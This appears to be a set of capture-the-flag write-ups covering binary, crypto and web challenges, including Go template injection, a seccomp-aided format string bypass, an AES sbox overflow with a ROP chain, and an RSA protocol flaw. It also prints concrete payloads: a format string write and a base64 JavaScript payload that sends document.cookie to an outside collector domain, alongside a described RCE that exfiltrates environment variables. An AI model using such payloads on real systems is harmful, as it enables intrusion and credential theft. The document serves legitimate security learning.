Written by organizers
We can analyze the main executable after unpacking the initramfs. It's a statically linked, stripped binary that implements a breakout-like game. In the init phase we open the file /dev/prob
which later is used to read 200 bytes at a time to create the grid on the screen. The previous grid and the current grid are combined (I used xor, but more likely to have been a subtraction) to create the new grid of 10x20 breakout blocks.
We can either write a program and put it in the initramfs or we can find the data for the prob file in the kernel (it is hardcoded and not dynamically generated, so we can just extract it, there are references to rust drivers, but I didn't care enough about the actual implementation as I saw the hardcoded data).
I used the kernel ELF file which is extracted from the bzImage using binwalk.
Then the pain of copying the ascii art begins…
The challenge is a web server which runs an RPG game. It serves a web page which displays the messages the server sends in ASCII art and an input box next to a button that the client can use to send commands. The messages between the server and the client are exchanged via a WebSocket connection. The CTF platform gives us the binary file of the web server, which is a 64-bit Linux executable compiled from Go.
The initial prompt from the server asks the client to input a name in English which can be arbitrarily long.
After entering the name, the server presents a menu. The player must choose a player class before playing the game.
The client can choose a player class among three options:
Each player class has different stats:
And also different skills. Each skill can be targeted to the opposing monster or to the player:
After choosing the player's class, the client can start the game. The game consists of multiple levels. At each level the player combats against a specific monster. Each monster always attacks the player, decreasing their Health Points. The starting monsters's stats are constant across multiple connections. The player can defeat the monster in multiple turns and can choose one action per turn until either the monster or the player lose all their Health Points. The game performs first the player's chosen action and then, if the monster is not defeated already by this action, also the monster's attack. The actions the player can choose are:
We can win the game choosing the Warrior class.
The Warrior has the Power Attack skill, which is most of the times more advantageous than the Attack action. The Attack action can cause maximum 20 Health Points of damage to the monster. On the other hand, the Power Attack skill can inflict a damage of 70 Health Points, causing a loss of only 5 Health Points to the player.
At most of the levels the player receives items that allow them to increase their Health Points, but these increases are not enough to sustain the attacks from all the monsters. The Warrior has the Power Defense skill, which allows them to increase their Minimum and Maximum Defense Points by 10, with the cost of 150 Health Points. The player can use this skill an indefinite number of times as long as they have enough Health Points and then use the Defense Action to decrease the monster's damage.
The game subtracts the player's Defense Points from the monster's Attack Points without ensuring the resulting damage value to be greater or equal to 0. This allows to have a negative damage and thus an increase of the player's Health Points at a monster's attack.
The total game levels are 7. The strategy is as follows:
When winning, the server performs a check on the number of turns: if the client wins the game in less than 10 rounds, the binary sends the flag which is returned from the method .ReadFlag
, otherwise it sends as congratulations an HTML text containing the name given at the start. The strategy requires many more rounds.
By running the binary locally, we noticed that the server tries to access a local file test.html
to output the congratulations HTML text. By reversing the binary, we found that it outputs the content of the file after performing the following operations:
((username))
in test.html
with the given name.parse
and execute
of the Go package template
to parse the substituted string as a template, execute this and send the result to the client.We noticed that by chaning the content of the name with curly brackets we could cause server errors. Once we noticed we could inject templates, we searched for go ssti, and found this article. Knowing we could execute function, we tried a few things such as .Player.Readflag, .Player, and eventually tried .Readflag which gave this message instead of a long stack trace!
We created a flag
file containg a fake flag, relaunched the exploit, and we had flag locally. We executed the script for remote, and after about 25 minutes, we got the flag!
The challenge binary lets us load a seccomp filter of our choice and then has a format string exploit which would be trivial if it weren't protected by fortify. The main issue being that fortify doesn't allow format strings located in writable memory (like the stack buffer we use) to contain %n
s.
However, the way it checks this is by reading from /proc/self/maps
. And since fortify also supports running in environments without /proc
mounted, it will fail open if it thinks that file doesn't exist.
So we can simply use the seccomp filter to make that openat
syscall return ENOENT
. The last hurdle is that the binary only opens the flag file later on. So we must still allow that syscall. We decided to differentiate them using the open flags since /proc/self/maps
is opened with O_RDONLY|O_CLOEXEC
and /flag
only with O_RDONLY
.
We then used seccomp-tools to dump the seccomp filter from this small binary.
Sending the resulting filter and the format string exploit (b'%c%c%c%c%c%c%c%c%4911c%n' + p64(0x404088)
) to the remote then gets us the flag.
The challenge binary implements a very, very buggy pipelined processor which has four registers that can each contain either an integer or a string. We have a few instructions that allow us to, for instance, dump the registers (if they contain a string, we only get the pointer to the string), load a 16-bit immediate into a register, read/write a character of a string, or randomly load one of ten strings into a register. The flag is the final, eleventh, element in the list that the strings are drawn from and is, therefore, never selected.
The strings currently contained in registers are stored in an array of the following structs;
When the slot isn't used, available is set to 1 and next_string to the index of the string that will be copied into this slot the next time it is allocated. Since we can set bytes in the string, we can easily set next_string to 10, the flag's index. We then have to set available to 1 so the slot gets reallocated. Since all immediates are unsigned and at most 16-bit, we cannot use those to index anything out of bounds. However, chars read from a string are treated as signed. We can therefore set a register to -8 by writing 0xf8 into a string a then reading that again.
Working around some minor limitations and major bugs of the CPU implementation then leads to this shellcode
Because the implementation uses threads in a very unsafe manner, this either dumps the flag or segfaults after only a few instructions, depending on the environment. By adding some random dumpregs, we can get it to run stable enough on the remote to dump about 10 flag characters at a time, allowing us to extract the flag in small fragments.
We need to combine a few bugs for our end-goal, first off we need to figure out the key used for the encryption or decryption. Since after every decryption the key changes we need to do so without fully using the decryption function.
First we enter decryption mode and send 0x800 bytes of nulls. This will overflow the buffer in the data section and overwrite the AES-sboxes, next we encrypt a single block. This will give us two blocks (one for padding) which are identical - which makes sense given the second to last step was to use the SBOX. The last step is to xor it with the roundkey for the current round. Luckily for us the first 8 bytes are just the key, the second 8 bytes are the second half of the key xored with the first half of the key, so since we know the first 8 bytes we can undo this and get the full key.
Now that we have the AES-key we can restore the sbox using the same overflow, but instead of 0x800 nulls we send 0x100 nulls and then the constant data from the binary. After that we can craft encrypted blocks which (after the first block due to the IV) will decrypt to whatever we want. So we create a payload which has 0x80 bytes at the end. And we make the payload be 0xc0 bytes long, which means we will subtract -0x80 to the end of the buffer, meaning we will leak quite a bit.
In fact it is enough to leak both the stack canary and the libc (close) address which is on the stack. But of course becuase we decrypted, the key and iv were reset to a random value. So we use the exact same method as described above again to get the new key.
This time we want the IV too, because there is an easy stack overflow in encrypt, which requires us to know the IV to craft blocks which encrypt to a controlled payload. Luckily we can just encrypt a bunch of null bytes, then decrypt using the known key. The first block will decrypt to the IV (because it is IV xored with our input, which was null).
Now with the IV and the key we can craft a payload which will overflow the buffer (which has size 0xf0), with the canary we leaked, then three register values we don't care about and finally our ropchain. Since this ropchain is now in the range of the sboxes we need to keep it rather short. Luckily a one-gadget in libc did the trick.
The remote runs a protocol that purportedly allows us to generate an RSA public key where neither party knows the corresponding private key. The basic idea is as follows:
p1
and q1
. Here, it does some stuff that moderately improves the chances of the protocol succeeding, but we'll ignore that for simplicity.p1
and q1
encrypted with its own public key.p2
and q2
and use RSA's homomorphic properties to send the server the encryptions of p2*q2
, p1*q2
, and q1*p2
(in a way that makes it hard to reconstruct the individual values but gives easy access to the sum)N = (p1+p2)*(q1+q2) = p1*q1 + p1*q2 + p2*q1 + p2*q2
and sends it to us.N
is (likely) the product of 2 primes p&q and we know p+q-p1-q1
(supposedly p2+q2
). Presumably, we're then supposed to restart if this fails.Finally, the server sends us the flag encrypted with the generated RSA key.
However, instead of picking random p2
and q2
, we can choose a prime p
and send the server the encryptions of -p1*q1
, p1*p
, and q1*p
. This will lead the server to compute N=p*(p1+q1)=p1*q1-p1*q1+p1*p+q1*p
. This allows us to pass the final check, factor N
, and decrypt the flag.
The /api/stream/:url
endpoint allowed us to use the server as a proxy and display arbitrary content as long as the response header of our server was in allowedContentTypes
. Without really looking into the why, we noticed the /api/stream/:url
endpoint did not use the correct content-type, which allowed us to have arbitrary HTML from the challenge domain, which meant we had XSS.
The bot cookie had the HTTPOnly flag on, so we couldn't steal it. Howver, we could still send requests on behalf of the bot thanks to the XSS.
With the bot having the SECRET cookie set to the actual SECRET
value, we could access /api/messages. admin.ejs was empty, but the interesting part was actually the fact that we had full control over the second parameter of res.render: res.render("admin", {...id})
.
Using this writeup as a reference, we got RCE, and exfiltrated the flag by getting base64 encoding all of the environment variables (with one of them being the flag), and sending them to a URL we own.
At this point, we just have to run the script to host the exploit, and send the bot to something like http://nginx/api/stream/http:%2F%2F[exploit server]%2fb, and if everything went well, we receive a request on our exfil server containing the flag.
/api/calculate.php
has a classic TOCTOU issue - window.onhashchange will execute the function we're interested in, set code
to the url fragment content, await a request to /api/debug.php (this is the part where it is slow enough so we can do race condition), do the regex check on code
(which is STILL the old value set before the await fetch), and if the check passed, take the new location.hash value and eval it.
That means that if we can change the location.hash between the code = ...
and the eval(...)
, we can pass the regex check with an old safe value, and eval a new dangerous value. Example: use YWFh (aaa
) for the safe value, then switch to ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ (document.location="http://ucafha1lv561vgwtlzg40as53w9nxel3.oastify.com/"+document.cookie
) for the new value. This should send the bot to our exfil domain with its cookie containing the flag.
We coded up this exploit, but it was very unreliable, we had to send it to the bot multiple times:
Here is also our POW solver:
After a few tries, we get the bot request with the cookies.